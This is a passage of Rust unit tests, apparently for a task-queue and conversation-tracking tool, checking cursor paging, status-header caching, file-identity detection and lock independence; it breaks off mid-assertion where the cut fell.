27149            let actual = crate::consult::associated_talk(&tasks, &talks, &question).unwrap();
27150            let expected =
27151                crate::consult::associated_talk(&ui.queue.list(), &ui.talks.list(), &question)
27152                    .unwrap();
27153            assert_eq!(actual.id, expected.id);
27154            assert!(!actual.status.open());
27155            let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
27156            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
27157            // Without Unix file identity, every readable record must be
27158            // reparsed to detect same-size, same-mtime replacements safely.
27159            let expected = parsed + if cfg!(unix) { 0 } else { 1002 };
27160            assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
27161        }
27162        child.followup.as_mut().unwrap().origin_task = Some(parent.id.clone());
27163        ui.queue.put(&mut child).unwrap();
27164        std::fs::remove_file(ui.queue.path_of(&parent.id)).unwrap();
27165        let (tasks, talks, _watches) =
27166            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
27167        assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
27168        child.origin_chat = Some(chat_id.clone());
27169        ui.queue.put(&mut child).unwrap();
27170        let (tasks, talks, _watches) =
27171            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
27172        assert_eq!(
27173            crate::consult::origin_talk(&tasks, &talks, &question)
27174                .unwrap()
27175                .id,
27176            chat_id
27177        );
27178        let revision = question_record_revision(&question);
27179        question.abandon("settled elsewhere");
27180        assert_ne!(revision, question_record_revision(&question));
27181        assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
27182        assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_some());
27183        std::fs::remove_file(ui.talks.path_of(&chat_id)).unwrap();
27184        let (tasks, talks, _watches) =
27185            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
27186        assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_none());
27187    }
27188
27189    #[test]
27190    fn list_cursors_freeze_membership_and_expire_explicitly() {
27191        let home = tempfile::tempdir().unwrap();
27192        let ui = delta_test_ui(home.path());
27193        std::fs::create_dir_all(ui.queue.root()).unwrap();
27194        for i in 0..40 {
27195            std::fs::write(ui.queue.path_of(&format!("record-{i:04}")), "broken").unwrap();
27196        }
27197        let (first, cursor) = page_ids(&ui, false, PageQuery::default()).unwrap();
27198        assert_eq!(first.len(), STORE_PAGE_SIZE);
27199        let cursor = cursor.unwrap();
27200        std::fs::write(ui.queue.path_of("record-9999"), "broken").unwrap();
27201        std::fs::remove_file(ui.queue.path_of(&first[0])).unwrap();
27202        let (second, _) = page_ids(
27203            &ui,
27204            false,
27205            PageQuery {
27206                before: Some(cursor.clone()),
27207            },
27208        )
27209        .unwrap();
27210        assert_eq!(second[0], "record-0023");
27211        assert!(second.iter().all(|id| !first.contains(id)));
27212        assert!(
27213            page_ids(
27214                &ui,
27215                true,
27216                PageQuery {
27217                    before: Some(cursor.clone())
27218                }
27219            )
27220            .is_err()
27221        );
27222        let (fresh, _) = page_ids(&ui, false, PageQuery::default()).unwrap();
27223        assert_eq!(fresh[0], "record-9999");
27224        ui.monitor.list_walks.lock().unwrap().clear();
27225        assert!(
27226            page_ids(
27227                &ui,
27228                false,
27229                PageQuery {
27230                    before: Some(cursor)
27231                }
27232            )
27233            .is_err()
27234        );
27235    }
27236
27237    #[tokio::test]
27238    async fn talk_pages_load_every_open_then_frozen_closed_history() {
27239        let home = tempfile::tempdir().unwrap();
27240        let ui = delta_test_ui(home.path());
27241        // Every closed conversation is newer by ID than every open conversation.
27242        for i in 0..23 {
27243            seed_talk_at(&ui.talks, &format!("20260101-000000-{i:03}"), "open");
27244        }
27245        for i in 0..45 {
27246            seed_talk_at(&ui.talks, &format!("20261019-000000-{i:03}"), "closed");
27247        }
27248        std::fs::write(ui.talks.path_of("20261020-000000-corrupt"), "broken").unwrap();
27249        let first = talks_page(
27250            State(ui.clone()),
27251            Query(PageQuery::default()),
27252            header::HeaderMap::new(),
27253        )
27254        .await
27255        .unwrap()
27256        .0;
27257        assert_eq!(
27258            first.rows.iter().filter(|row| row.status.open()).count(),
27259            23
27260        );
27261        assert_eq!(first.rows.len(), 23 + STORE_PAGE_SIZE - 1);
27262        assert!(first.rows[..23].iter().all(|row| row.status.open()));
27263        let parsed = ui
27264            .monitor
27265            .talk_parses
27266            .load(std::sync::atomic::Ordering::Relaxed);
27267        assert_eq!(
27268            parsed,
27269            first.rows.len(),
27270            "closed bodies outside this page are not restored"
27271        );
27272        let fresh = talks_page(
27273            State(ui.clone()),
27274            Query(PageQuery::default()),
27275            header::HeaderMap::new(),
27276        )
27277        .await
27278        .unwrap()
27279        .0;
27280        assert_eq!(fresh.rows.len(), first.rows.len());
27281        assert_eq!(
27282            ui.monitor
27283                .talk_parses
27284                .load(std::sync::atomic::Ordering::Relaxed),
27285            parsed
27286        );
27287        let mut seen: std::collections::HashSet<_> =
27288            first.rows.iter().map(|row| row.id.clone()).collect();
27289        // Status changes keep their original membership position until refresh.
27290        seed_talk_at(&ui.talks, "20261019-000000-000", "open");
27291        seed_talk_at(&ui.talks, "20260101-000000-000", "closed");
27292        std::fs::remove_file(ui.talks.path_of("20261019-000000-001")).unwrap();
27293        let mut next = first.next;
27294        while let Some(cursor) = next {
27295            let page = talks_page(
27296                State(ui.clone()),
27297                Query(PageQuery {
27298                    before: Some(cursor),
27299                }),
27300                header::HeaderMap::new(),
27301            )
27302            .await
27303            .unwrap()
27304            .0;
27305            assert!(page.rows.len() <= STORE_PAGE_SIZE);
27306            for row in page.rows {
27307                assert!(seen.insert(row.id), "a cursor must not repeat membership");
27308            }
27309            next = page.next;
27310        }
27311        let expected: HashSet<_> = (0..23)
27312            .map(|i| format!("20260101-000000-{i:03}"))
27313            .chain(
27314                (0..45)
27315                    .filter(|i| *i != 1)
27316                    .map(|i| format!("20261019-000000-{i:03}")),
27317            )
27318            .collect();
27319        assert_eq!(
27320            seen, expected,
27321            "the cursor walk must return every surviving ID"
27322        );
27323        let refreshed = talks_page(
27324            State(ui.clone()),
27325            Query(PageQuery::default()),
27326            header::HeaderMap::new(),
27327        )
27328        .await
27329        .unwrap()
27330        .0;
27331        assert_eq!(
27332            refreshed
27333                .rows
27334                .iter()
27335                .filter(|row| row.status.open())
27336                .count(),
27337            23
27338        );
27339        assert!(
27340            refreshed
27341                .rows
27342                .iter()
27343                .any(|row| row.id == "20261019-000000-000")
27344        );
27345        assert!(
27346            !refreshed
27347                .rows
27348                .iter()
27349                .any(|row| row.id == "20260101-000000-000")
27350        );
27351    }
27352
27353    #[test]
27354    fn talk_pages_with_only_open_rows_have_no_history_cursor() {
27355        let home = tempfile::tempdir().unwrap();
27356        let ui = delta_test_ui(home.path());
27357        for i in 0..STORE_PAGE_SIZE + 5 {
27358            seed_talk_at(&ui.talks, &format!("open-{i:03}"), "open");
27359        }
27360        let (ids, next) = page_ids(&ui, true, PageQuery::default()).unwrap();
27361        assert_eq!(ids.len(), STORE_PAGE_SIZE + 5);
27362        assert!(next.is_none());
27363    }
27364
27365    #[test]
27366    fn chat_status_promotes_closed_owner_goal_in_header() {
27367        let home = tempfile::tempdir().unwrap();
27368        let ui = delta_test_ui(home.path());
27369        for i in 0..STORE_PAGE_SIZE + 5 {
27370            seed_talk_at(&ui.talks, &format!("new-{i:03}"), "closed");
27371        }
27372        let id = seed_talk_at(&ui.talks, "ancient", "closed");
27373        let path = ui.talks.path_of(&id);
27374        let mut raw: serde_json::Value =
27375            serde_json::from_slice(&std::fs::read(&path).unwrap()).unwrap();
27376        raw["goals"] = serde_json::json!([{
27377            "id": "g", "purpose": "ship", "scope": "task",
27378            "condition": {"description": "done", "kind": "tasks_done"},
27379            "state": "owner", "step": "decision", "source_turn": 0,
27380            "owner_input": "ship", "tasks": [], "runs": [], "watches": [],
27381            "evidence": "", "wake": 0, "handled": 0, "started": null,
27382            "wakes": 0, "last_checked": null, "fingerprint": ""
27383        }]);
27384        let chat: talk::Talk = serde_json::from_value(raw.clone()).unwrap();
27385        std::fs::write(&path, serde_json::to_vec(&chat).unwrap()).unwrap();
27386        let (ids, _) = page_ids(&ui, true, PageQuery::default()).unwrap();
27387        assert!(ids.contains(&id));
27388        let rows = talk_rows(&ui, ids, &header::HeaderMap::new());
27389        let row = rows.iter().find(|row| row.id == id).unwrap();
27390        assert_eq!(row.chat_status.kind, crate::chat_status::Kind::NeedsOwner);
27391        {
27392            let cache = ui.monitor.closed_goal_index.lock().unwrap();
27393            assert!(cache.get(&id).is_some_and(|(_, owner)| *owner));
27394            assert!(cache.len() > STORE_PAGE_SIZE);
27395        }
27396        // A second request must retain the projection even for promoted rows.
27397        let (again, _) = page_ids(&ui, true, PageQuery::default()).unwrap();
27398        assert!(again.contains(&id));
27399        // A same-length rewrite preserving write time still changes identity.
27400        let modified = path.metadata().unwrap().modified().unwrap();
27401        raw["goals"][0]["state"] = serde_json::json!("paused");
27402        raw["goals"][0]["step"] = serde_json::json!("waiting");
27403        let chat: talk::Talk = serde_json::from_value(raw).unwrap();
27404        std::fs::write(&path, serde_json::to_vec(&chat).unwrap()).unwrap();
27405        std::fs::OpenOptions::new()
27406            .write(true)
27407            .open(&path)
27408            .unwrap()
27409            .set_modified(modified)
27410            .unwrap();
27411        let (changed, _) = page_ids(&ui, true, PageQuery::default()).unwrap();
27412        assert!(!changed.contains(&id));
27413        // A legacy file with goals after turns is deferred to its history page.
27414        let mut raw = serde_json::to_value(&chat).unwrap();
27415        raw["goals"][0]["state"] = serde_json::json!("owner");
27416        let goals = raw.as_object_mut().unwrap().remove("goals").unwrap();
27417        let mut body = serde_json::to_string(&raw).unwrap();
27418        body.pop();
27419        body.push_str(&format!(",\"goals\":{goals}}}"));
27420        std::fs::write(&path, body).unwrap();
27421        let (initial, _) = page_ids(&ui, true, PageQuery::default()).unwrap();
27422        assert!(!initial.contains(&id));
27423        let rows = talk_rows(&ui, vec![id], &header::HeaderMap::new());
27424        assert_eq!(
27425            rows[0].chat_status.kind,
27426            crate::chat_status::Kind::NeedsOwner
27427        );
27428    }
27429
27430    #[test]
27431    fn chat_status_revision_tracks_turn_lease_without_transcript_changes() {
27432        let home = tempfile::tempdir().unwrap();
27433        let ui = delta_test_ui(home.path());
27434        let id = seed_talk_at(&ui.talks, "chat", "open");
27435        let before = monitor_scan(&ui, None);
27436        let lease = ui.talks.claim_turn(&id).unwrap().unwrap();
27437        let during = monitor_scan(&ui, Some(before.clone()));
27438        assert_ne!(during.0.3, before.0.3);
27439        drop(lease);
27440        let after = monitor_scan(&ui, Some(during));
27441        assert_eq!(after.0.3, before.0.3);
27442    }
27443
27444    #[test]
27445    fn talk_status_header_reads_are_bounded_independently_of_transcript_size() {
27446        struct Counted<R> {
27447            inner: R,
27448            bytes: usize,
27449        }
27450        impl<R: std::io::Read> std::io::Read for Counted<R> {
27451            fn read(&mut self, buf: &mut [u8]) -> std::io::Result<usize> {
27452                let n = self.inner.read(buf)?;
27453                self.bytes += n;
27454                Ok(n)
27455            }
27456        }
27457        let home = tempfile::tempdir().unwrap();
27458        let ui = delta_test_ui(home.path());
27459        let id = seed_talk_at(&ui.talks, "header-chat", "closed");
27460        let mut chat = ui.talks.get(&id).unwrap();
27461        for size in [0, 1024 * 1024, 8 * 1024 * 1024] {
27462            chat.turns = vec![
27463                serde_json::from_value(serde_json::json!({
27464                    "who": "agent", "body": "x".repeat(size), "at": chat.updated_at,
27465                }))
27466                .unwrap(),
27467            ];
27468            for status in [talk::TalkStatus::Closed, talk::TalkStatus::Open] {
27469                chat.status = status;
27470                // Exercise the actual on-disk serializer, including its field order.
27471                let body = serde_json::to_vec_pretty(&chat).unwrap();
27472                let mut reader = Counted {
27473                    inner: body.as_slice(),
27474                    bytes: 0,
27475                };
27476                assert_eq!(read_talk_status(&mut reader), Some(status));
27477                assert!(
27478                    reader.bytes <= 1024,
27479                    "header classification read {} bytes",
27480                    reader.bytes
27481                );
27482            }
27483        }
27484        // Noncanonical field order must neither traverse a transcript nor hide
27485        // an open row. Its real status is validated by the ordinary row reader.
27486        let noncanonical = format!(
27487            r#"{{"turns":[{{"body":"{}"}}],"status":"open"}}"#,
27488            "x".repeat(1024 * 1024)
27489        );
27490        let mut reader = Counted {
27491            inner: noncanonical.as_bytes(),
27492            bytes: 0,
27493        };
27494        assert_eq!(read_talk_status(&mut reader), Some(talk::TalkStatus::Open));
27495        assert!(reader.bytes <= 1024);
27496        let legacy = format!(
27497            r#"{{"status":"closed","turns":[{{"body":"{}"}}],"goals":[]}}"#,
27498            "x".repeat(1024 * 1024)
27499        );
27500        let mut reader = Counted {
27501            inner: legacy.as_bytes(),
27502            bytes: 0,
27503        };
27504        assert!(!read_owner_goal(&mut reader));
27505        assert!(reader.bytes <= 1024);
27506        let oversized = format!(
27507            r#"{{"agent":"{}","status":"open"}}"#,
27508            "x".repeat(128 * 1024)
27509        );
27510        let mut reader = Counted {
27511            inner: oversized.as_bytes(),
27512            bytes: 0,
27513        };
27514        assert_eq!(read_talk_status(&mut reader), Some(talk::TalkStatus::Open));
27515        assert!(reader.bytes <= 64 * 1024);
27516    }
27517
27518    #[test]
27519    fn talk_header_classification_does_not_hold_the_queue_cursor_registry() {
27520        let home = tempfile::tempdir().unwrap();
27521        let ui = delta_test_ui(home.path());
27522        seed_talk_at(&ui.talks, "header-chat", "open");
27523        std::fs::create_dir_all(ui.queue.root()).unwrap();
27524        let (started, ready) = std::sync::mpsc::channel();
27525        let (release, wait) = std::sync::mpsc::channel();
27526        let chat_ui = ui.clone();
27527        let scan = std::thread::spawn(move || {
27528            page_ids_with(&chat_ui, true, PageQuery::default(), |ui, ids| {
27529                started.send(()).unwrap();
27530                wait.recv().unwrap();
27531                open_talk_ids(ui, ids)
27532            })
27533            .unwrap()
27534        });
27535        ready.recv_timeout(Duration::from_secs(2)).unwrap();
27536        let (finished, result) = std::sync::mpsc::channel();
27537        let queue = std::thread::spawn(move || {
27538            finished
27539                .send(page_ids(&ui, false, PageQuery::default()).is_ok())
27540                .unwrap();
27541        });
27542        let completed = result.recv_timeout(Duration::from_secs(2));
27543        // Release and join both workers even if the regression returns.
27544        release.send(()).unwrap();
27545        scan.join().unwrap();
27546        queue.join().unwrap();
27547        assert!(
27548            completed.unwrap(),
27549            "queue paging must not wait for chat header I/O"
27550        );
27551    }
27552
27553    #[test]
27554    fn talk_status_projection_does_not_cache_files_changed_during_read() {
27555        let home = tempfile::tempdir().unwrap();
27556        let ui = delta_test_ui(home.path());
27557        let ids = vec!["changing-chat".to_owned()];
27558        seed_talk_at(&ui.talks, &ids[0], "closed");
27559        assert!(open_talk_ids(&ui, &ids).is_empty());
27560        seed_talk_at(&ui.talks, &ids[0], "open");
27561        let open = open_talk_ids_with(&ui, &ids, cfg!(unix), |path| {
27562            let value: serde_json::Value =
27563                serde_json::from_slice(&std::fs::read(path).unwrap()).unwrap();
27564            // Replace the file after parsing, before its identity is checked again.
27565            seed_talk_at(&ui.talks, &ids[0], "closed");
27566            serde_json::from_value(value["status"].clone()).ok()
27567        });
27568        assert!(open.contains(&ids[0]));
27569        assert!(
27570            ui.monitor
27571                .talk_status_index
27572                .lock()
27573                .unwrap()
27574                .records
27575                .is_empty()
27576        );
27577        assert!(open_talk_ids(&ui, &ids).is_empty());
27578        assert_eq!(ui.monitor.talk_status_index.lock().unwrap().parses, 3);
27579    }
27580
27581    #[test]
27582    fn talk_status_projection_rereads_when_metadata_cannot_prove_identity() {
27583        let home = tempfile::tempdir().unwrap();
27584        let ui = delta_test_ui(home.path());
27585        let ids = vec!["same-stamp-chat".to_owned()];
27586        seed_talk_at(&ui.talks, &ids[0], "open");
27587        // Model a non-Unix metadata collision deterministically: the old
27588        // classification has a fingerprint equal to the current file's.
27589        ui.monitor.talk_status_index.lock().unwrap().records.insert(
27590            ids[0].clone(),
27591            (
27592                file_identity(&ui.talks.path_of(&ids[0])).unwrap(),
27593                Some(talk::TalkStatus::Closed),
27594            ),
27595        );
27596        let open = open_talk_ids_with(&ui, &ids, false, |path| {
27597            std::fs::File::open(path).ok().and_then(read_talk_status)
27598        });
27599        assert!(
27600            open.contains(&ids[0]),
27601            "an untrusted cache hit must still read the current header"
27602        );
27603        assert!(
27604            ui.monitor
27605                .talk_status_index
27606                .lock()
27607                .unwrap()
27608                .records
27609                .is_empty()
27610        );
27611        seed_talk_at(&ui.talks, &ids[0], "closed");
27612        assert!(
27613            open_talk_ids_with(&ui, &ids, false, |path| {
27614                std::fs::File::open(path).ok().and_then(read_talk_status)
27615            })
27616            .is_empty()
27617        );
27618        let index = ui.monitor.talk_status_index.lock().unwrap();
27619        assert_eq!(index.parses, 2);
27620        assert!(
27621            index.records.is_empty(),
27622            "untrusted fingerprints must never publish cache entries"
27623        );
27624    }
27625
27626    #[test]
27627    fn talk_rows_cache_shrinks_without_reparsing_open_rows() {
27628        let home = tempfile::tempdir().unwrap();
27629        let ui = delta_test_ui(home.path());
27630        let headers = header::HeaderMap::new();
27631        seed_talk_at(&ui.talks, "open-chat", "open");
27632        seed_talk_at(&ui.talks, "closed-chat", "closed");
27633        talk_rows(
27634            &ui,
27635            vec!["open-chat".into(), "closed-chat".into()],
27636            &headers,
27637        );
27638        {
27639            let mut index = ui.monitor.talk_index.lock().unwrap();
27640            let closed = index["closed-chat"].1.clone();
27641            for i in 0..1000 {
27642                index.insert(
27643                    format!("cached-closed-{i}"),
27644                    (
27645                        file_identity(&ui.talks.path_of("closed-chat")).unwrap(),
27646                        closed.clone(),
27647                    ),
27648                );
27649            }
27650        }
27651        assert_eq!(
27652            talk_rows(&ui, vec!["closed-chat".into()], &headers).len(),
27653            1
27654        );
27655        assert_eq!(ui.monitor.talk_index.lock().unwrap().len(), 2);
27656        assert_eq!(talk_rows(&ui, vec!["open-chat".into()], &headers).len(), 1);
27657        assert_eq!(
27658            ui.monitor
27659                .talk_parses
27660                .load(std::sync::atomic::Ordering::Relaxed),
27661            2
27662        );
27663        {
27664            let mut index = ui.monitor.talk_index.lock().unwrap();
27665            let open = index["open-chat"].1.clone();
27666            for i in 0..1000 {
27667                index.insert(
27668                    format!("cached-open-{i}"),
27669                    (
27670                        file_identity(&ui.talks.path_of("open-chat")).unwrap(),
27671                        open.clone(),
27672                    ),
27673                );
27674            }
27675        }
27676        // Even when open rows exceed the bound, keep the currently requested rows.
27677        assert_eq!(talk_rows(&ui, vec!["open-chat".into()], &headers).len(), 1);
27678        assert_eq!(ui.monitor.talk_index.lock().unwrap().len(), 1);
27679        assert_eq!(
27680            ui.monitor
27681                .talk_parses
27682                .load(std::sync::atomic::Ordering::Relaxed),
27683            2
27684        );
27685    }
27686
27687    #[test]
27688    fn talk_status_projection_reuses_large_indexes_and_prunes_deleted_files() {
27689        let home = tempfile::tempdir().unwrap();
27690        let ui = delta_test_ui(home.path());
27691        std::fs::create_dir_all(ui.talks.root()).unwrap();
27692        let ids: Vec<_> = (0..1050).map(|i| format!("chat-{i:04}")).collect();
27693        for id in &ids {
27694            std::fs::write(
27695                ui.talks.path_of(id),
27696                r#"{"status":"closed","turns":[{"body":"ignored"}]}"#,
27697            )
27698            .unwrap();
27699        }
27700        assert!(open_talk_ids(&ui, &ids).is_empty());
27701        assert_eq!(
27702            ui.monitor.talk_status_index.lock().unwrap().parses,
27703            ids.len()
27704        );
27705        assert!(open_talk_ids(&ui, &ids).is_empty());
27706        let reused = if cfg!(unix) { ids.len() } else { 2 * ids.len() };
27707        assert_eq!(ui.monitor.talk_status_index.lock().unwrap().parses, reused);
27708        std::fs::write(ui.talks.path_of(&ids[0]), r#"{"status":"open"}"#).unwrap();
27709        std::fs::write(ui.talks.path_of(&ids[1]), "broken").unwrap();
27710        assert_eq!(
27711            open_talk_ids(&ui, &ids),
27712            std::collections::HashSet::from([ids[0].clone()])
27713        );
27714        let parsed = ui.monitor.talk_status_index.lock().unwrap().parses;
27715        let refreshed = if cfg!(unix) { 2 } else { ids.len() };
27716        assert_eq!(parsed, reused + refreshed);
27717        open_talk_ids(&ui, &ids);
27718        assert_eq!(
27719            ui.monitor.talk_status_index.lock().unwrap().parses,
27720            parsed + if cfg!(unix) { 0 } else { ids.len() },
27721            "only reliable file identity permits caching, including unreadable rows"
27722        );
27723        std::fs::remove_file(ui.talks.path_of(&ids[0])).unwrap();
27724        assert!(open_talk_ids(&ui, &ids[1..]).is_empty());
27725        assert!(
27726            !ui.monitor
27727                .talk_status_index
27728                .lock()
27729                .unwrap()
27730                .records
27731                .contains_key(&ids[0])
27732        );
27733        assert!(
27734            ui.monitor.talk_index.lock().unwrap().is_empty(),
27735            "classification never caches bodies"
27736        );
27737    }
27738
27739    #[tokio::test]
27740    async fn stats_queue_index_counts_only_fresh_readable_statuses() {
27741        let home = tempfile::tempdir().unwrap();
27742        let ui = delta_test_ui(home.path());
27743        let mut task = Task::new(
27744            "task".into(),
27745            "body".into(),
27746            PathBuf::from("/repo"),
27747            Source::Human,
27748        );
27749        ui.queue.put(&mut task).unwrap();
27750        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
27751        let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
27752        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
27753        let expected = parsed + usize::from(!cfg!(unix));
27754        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
27755        task.status = crate::queue::TaskStatus::Held;
27756        ui.queue.put(&mut task).unwrap();
27757        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
27758        std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
27759        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 0);
27760        ui.queue.put(&mut task).unwrap();
27761        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
27762        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
27763        assert_eq!(stats_queue(State(ui)).await.unwrap().0.held, 0);
27764    }
27765
27766    #[tokio::test]
27767    async fn health_notifications_revision_is_fresh_between_monitor_ticks() {
27768        let home = tempfile::tempdir().unwrap();
27769        let ui = delta_test_ui(home.path());
27770        *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
27771        let before = health(State(ui.clone())).await.unwrap().0;
27772        ui.notices.raise(Notice::warn("task:1", "held")).unwrap();
27773        let after = health(State(ui)).await.unwrap().0;
27774        assert_ne!(before.notifications_rev, after.notifications_rev);
27775        assert_eq!(after.notifications_unread, 1);
27776    }
27777
27778    #[tokio::test]
27779    async fn list_pages_bound_history_and_keep_dependency_evidence() {
27780        let home = tempfile::tempdir().unwrap();
27781        let ui = delta_test_ui(home.path());
27782        let queue = &ui.queue;
27783        let talks = &ui.talks;
27784        for i in 0..1000 {
27785            let id = format!("20261019-{i:06}-page");
27786            let mut task = Task::new(
27787                "task".into(),
27788                "instruction".repeat(100),
27789                PathBuf::from("/repo/magi"),
27790                Source::Human,
27791            );
27792            task.id = id.clone();
27793            if i == 0 {
27794                task.status = crate::queue::TaskStatus::Held;
27795            } else if i == 999 {
27796                task.status = crate::queue::TaskStatus::Blocked;
27797                task.blocked_by = vec!["20261019-000000-page".into()];
27798            }
27799            queue.put(&mut task).unwrap();
27800            seed_talk_at(talks, &id, "closed");
27801        }
27802        let page = serde_json::to_value(
27803            queue_page(State(ui.clone()), Query(PageQuery::default()))
27804                .await
27805                .unwrap()
27806                .0,
27807        )
27808        .unwrap();
27809        assert_eq!(page["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
27810        assert_eq!(page["rows"][0]["id"], "20261019-000999-page");
27811        assert!(
27812            !page["rows"][0]["stuck_roots"]
27813                .as_array()
27814                .unwrap()
27815                .is_empty()
27816        );
27817        let cursor = page["next"].as_str().unwrap();
27818        let last_id = page["rows"].as_array().unwrap().last().unwrap()["id"]
27819            .as_str()
27820            .unwrap();
27821        // Deleting an already enumerated file cannot shift or repeat a page.
27822        std::fs::remove_file(queue.path_of(last_id)).unwrap();
27823        let next = serde_json::to_value(
27824            queue_page(
27825                State(ui.clone()),
27826                Query(PageQuery {
27827                    before: Some(cursor.into()),
27828                }),
27829            )
27830            .await
27831            .unwrap()
27832            .0,
27833        )
27834        .unwrap();
27835        assert_eq!(next["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
27836        assert!(next["rows"][0]["id"].as_str().unwrap() < last_id);
27837        let chats = serde_json::to_value(
27838            talks_page(
27839                State(ui.clone()),
27840                Query(PageQuery::default()),
27841                header::HeaderMap::new(),
27842            )
27843            .await
27844            .unwrap()
27845            .0,
27846        )
27847        .unwrap();
27848        assert_eq!(chats["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
27849        assert!(chats["rows"][0].get("pending").is_none());
27850        assert!(chats["rows"][0].get("turn_bodies_md").is_none());
27851        let counts = serde_json::to_value(stats_queue(State(ui)).await.unwrap().0).unwrap();
27852        assert_eq!(counts["held"], 1);
27853        assert_eq!(counts["blocked"], 1);
27854        assert_eq!(counts["queued"], 997);
27855    }
27856
27857    #[test]
27858    fn queue_index_observes_external_replacement_deletion_and_corruption() {
27859        let dir = tempfile::tempdir().unwrap();
27860        let ui = delta_test_ui(dir.path());
27861        let mut task = Task::new(
27862            "task".into(),
27863            "body".into(),
27864            PathBuf::from("/repo"),
27865            Source::Human,
27866        );
27867        task.runs = vec!["run-a".into()];
27868        ui.queue.put(&mut task).unwrap();
27869        assert!(ui.find_task_for_run("run-a").unwrap().is_some());
27870        task.runs = vec!["run-b".into()];
27871        let path = ui.queue.path_of(&task.id);
27872        let modified = path.metadata().unwrap().modified().unwrap();
27873        let replacement = path.with_extension("replacement");
27874        let bytes = serde_json::to_vec_pretty(&task).unwrap();
27875        assert_eq!(bytes.len() as u64, path.metadata().unwrap().len());
27876        std::fs::write(&replacement, &bytes).unwrap();
27877        std::fs::File::options()
27878            .write(true)
27879            .open(&replacement)
27880            .unwrap()
27881            .set_times(std::fs::FileTimes::new().set_modified(modified))
27882            .unwrap();
27883        std::fs::rename(&replacement, &path).unwrap();
27884        assert!(ui.find_task_for_run("run-a").unwrap().is_none());
27885        assert!(ui.find_task_for_run("run-b").unwrap().is_some());
27886        std::fs::write(&path, "broken").unwrap();
27887        assert!(ui.find_task_for_run("run-b").is_err());
27888        std::fs::write(&path, bytes).unwrap();
27889        assert!(ui.find_task_for_run("run-b").unwrap().is_some());
27890        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
27891        assert!(ui.find_task_for_run("run-b").unwrap().is_none());
27892    }
27893
27894    #[tokio::test]
27895    async fn conversation_core_is_independent_of_unreadable_related_history() {
27896        let home = tempfile::tempdir().unwrap();
27897        let ui = delta_test_ui(home.path());
27898        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
27899        std::fs::create_dir_all(ui.queue.root()).unwrap();
27900        std::fs::write(ui.queue.root().join("unreadable.json"), "broken").unwrap();
27901        let Json(core) = talk_core(State(ui.clone()), Path(id.clone()))
27902            .await
27903            .unwrap();
27904        assert_eq!(core.talk.id, id);
27905        assert!(talk_sections(State(ui), Path(id)).await.is_ok());
27906    }
27907
27908    #[test]
27909    fn conversation_core_ignores_worker_store_lock_and_busy_secondary_pool() {
27910        let home = tempfile::tempdir().unwrap();
27911        let ui = delta_test_ui(home.path());
27912        let id = seed_talk_at(&ui.talks, "20261019-000000-cafe", "open");
27913        let directory = home.path().join("workers/jobs/abcdef");
27914        std::fs::create_dir_all(&directory).unwrap();
27915        let job = crate::worker::Job {
27916            id: "abcdef".into(),
27917            sequence: 1,
27918            kind: "chat".into(),
27919            key: id.clone(),
27920            payload: serde_json::json!({ "talk": id }),
27921            generation: "test".into(),
27922            version: None,
27923            status: crate::worker::Status::Running,
27924            result: None,
27925            pid: None,
27926            created_at: 0,
27927            finished_at: None,
27928        };
27929        std::fs::write(
27930            directory.join("job.json"),
27931            serde_json::to_vec(&job).unwrap(),
27932        )
27933        .unwrap();
27934        let live = crate::worker::execution_lease_for_test(&directory.join("live.lock"));
27935        let store =
27936            crate::worker::execution_lease_for_test(&home.path().join("workers/store.lock"));
27937        let runtime = tokio::runtime::Builder::new_current_thread()
27938            .enable_all()
27939            .max_blocking_threads(1)
27940            .build()
27941            .unwrap();
27942        runtime.block_on(async {
27943            let (release, held) = std::sync::mpsc::channel();
27944            let (started, ready) = tokio::sync::oneshot::channel();
27945            let occupied = tokio::task::spawn_blocking(move || {
27946                started.send(()).unwrap();
27947                held.recv().unwrap();
27948            });
27949            ready.await.unwrap();
27950            let secondary = tokio::spawn(talk_sections(State(ui.clone()), Path(id.clone())));
27951            let bulk = ui
27952                .monitor
27953                .bulk_slots
27954                .clone()
27955                .acquire_many_owned(2)
27956                .await
27957                .unwrap();
27958            let result = tokio::time::timeout(
27959                Duration::from_secs(2),
27960                talk_core(State(ui.clone()), Path(id.clone())),
27961            )
27962            .await;
27963            // Release all blockers before assertions, including on a regression.
27964            drop(store);
27965            drop(bulk);
27966            release.send(()).unwrap();
27967            occupied.await.unwrap();
27968            let _ = secondary.await.unwrap().unwrap();
27969            let Json(core) = result
27970                .expect("transcript must bypass secondary work and the worker store lock")
27971                .unwrap();
27972            assert!(
27973                core.thinking,
27974                "read-only observation retains live worker state"
27975            );
27976            assert_eq!(core.talk.id, id);
27977            let admission_ui = ui.clone();
27978            let (release, held) = std::sync::mpsc::channel();
27979            let (started, ready) = tokio::sync::oneshot::channel();
27980            let admission = std::thread::spawn(move || {
27981                let _lock = admission_ui.talk_turns.lock().unwrap();
27982                started.send(()).unwrap();
27983                held.recv().unwrap();
27984            });
27985            ready.await.unwrap();
27986            let result = tokio::time::timeout(
27987                Duration::from_secs(2),
27988                talk_core(State(ui.clone()), Path(id.clone())),
27989            )
27990            .await;
27991            release.send(()).unwrap();
27992            admission.join().unwrap();
27993            assert!(
